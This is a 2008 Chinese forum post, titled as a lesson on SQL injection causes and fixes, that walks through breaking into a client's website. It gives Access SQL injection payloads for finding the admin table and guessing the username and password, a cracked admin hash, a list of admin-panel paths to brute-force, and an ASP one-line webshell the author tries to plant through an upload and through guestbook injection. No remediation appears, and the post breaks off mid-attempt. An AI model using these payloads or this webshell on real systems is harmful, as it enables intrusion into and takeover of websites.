找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1065|回复: 0

3月18日课程SQL注射漏洞的成因及修补

[复制链接]

739

主题

468

回帖

4307

牛毛

论坛管理员

狼群

积分
4347
发表于 2008-3-18 15:01:02 | 显示全部楼层 |阅读模式
最近笔者的朋友接到一个网站的生意,说是给别人做了一个网站, 怕程序出问题。让笔者帮忙检测一下有没有什么注射或者上传之类的漏洞。没有的话就可以交差了。因为只是针对网站来检测漏洞,所以也不需要去旁注或者ARP 什么的。首先打开域名 hxxp://www.target.com/ 打看后一个就知道这程序肯定不是笔者朋友本人写的,好象是什么程序改的,但是又看不出来。打开一个连接随手加个单引号,返回错误了。如图1

Microsoft JET Database Engine 错误 '80040e14';字符串的语法错误;在查询表达式 'ID=16'' 中。/viewInfo_c.asp行318,从这个错误提示我们能看出下面几点:
1、网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2、程序没有判断客户端提交的数据是否符合程序要求。
3、该SQL语句所查询的表中有一名为ID的字段。
不过看到这小网站就知道不可能是sql server了,google一下才找到43个连接,用SQL是小题大做了点。我们继续。马上and 1=1=2发现返回页面不一样,可以注射。既然知道了是ACCESS那就只能通过来猜解管理员的密码来登陆后台了 ,继续使用 And (Select Count(*) from Admin)>=0 页面返回正常说明存在admin表,这就更加确定这程序不是他本人写的了。因为除了网上公布的些开放原码 很少有程序员用admin做为存放管理员密码的表,知道了admin表就继续猜字段吧。一般来说这样的程序用的字段无非这几个:username; password;id;userid;user_password;pwd;name;userpwd,所以猜这样的字段非常容易。语句一复制,挨个试就好了。猜了半天,发现admin表里存在username;password;id三个字段。很明显username 跟password是存放管理员用户名与密码的。 继续猜 and (select top 1 len(username) from Admin)>0。先说下原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8 这个在IT168安全频道的SQL 注射教程里有详细解释,可以多去看看,学习一下。这里猜密码的过程我就不详细写了,给大家贴一个地址,非常经典的SQL注射教程。
SQL注入天书:
http://publish.it168.com/2006/0224/20060224026802.shtml
经过笔者一个小时猜解终于,猜到用户为admin,字段5嘛,肯定是他啦。密码得出的MD5为dc3972bc43b78eea。通过在破解MD5值,密码为CAASD。既然知道密码了就去找后台吧,笔者自己以前收集了一个脚本,就是记录了大概几百个后台地址。遇到一个没见过的就加上虽然现在记不起那么多,但是一些常用的还是记得的。比如admin.asp; admin/admin.asp;admin_admin.asp;Admin_Login.asp;admin/admin_login.asp等等几个,这里就不写了。经过笔者一个个测试确定网站的后台地址为admin_login.asp。如图2

进到后台可以看到网站物理路径为f:\\usr\\cwd7197\\,IIS版本 Microsoft-IIS/5.0,是windows200的机器。
组件支持有关参数
数据库(ADO)支持: √ (支持)
FSO文本读写: √ (支持)
Stream文件流: √ (支持)
Jmail组件支持: √ (支持)
CDONTS组件支持: √ (支持) 粗略的看了下后台支持的东西不多,但是功能还算强大 如图3

在上传那里笔者发网站使用了一个类似ewebeditor的编辑器,但是又不太像。于是准备确定一下,如果是ewebeditor的话拿到SHELL的机率就更大了。
看到图3有的朋友可能会说,网站后台不是有数据库备份么?为什么不使用呢?其实因为我们是为了挖掘漏洞而来的,使用数据库备份虽然是最快速得到WEBSHELL的方法,但是这样就不知道服务器是否还存在别的漏洞。
笔者在本地写一个一句话 <%execute request(\"fish\")%>然后保存为1.rar,尝试进行上传,因为ewebeditor在线文本编辑编辑器显示RAR文件是相对路径比较清晰,所以一般都是通过上传RAR文件来探测ewebeditor编辑器的地址。在添加新闻那里点添加新信息,然后选择本地文件点上传就OK 了,但是在上传的时候却提示拒绝该后缀文件。如图4

看错误提示应该不是ewebeditor了,也没发现upfile.asp或者upload等页面,既然只能上传图片那就不去管他了,点开数据库备份,笔者发现该网站使用的是.asp后缀的数据库,那么在前台留言那里写入一个一个一句话然后连接不知道可以不?于是抱着试试的想法在前台留言那里写入 <%execute request(\"fish\")%>,然后访问数据库页面/db/fujia_data.asp,发现虽然写进去了但是没成功。

错误提示
Active Server Pages 错误 &#39;ASP 0116&#39;
缺少关闭脚本分隔符
/db/fujia_data.asp,行56
Script 块缺少脚本关闭标记 (% >) 。
应该是数据库里有类似<% loop <% 之类的东西阻碍掉了,没有闭合,少了%
20080317162704502.jpg
20080317162713685.jpg
2345.jpg
435436436.jpg
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-11 20:04 , Processed in 0.141457 second(s), 25 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表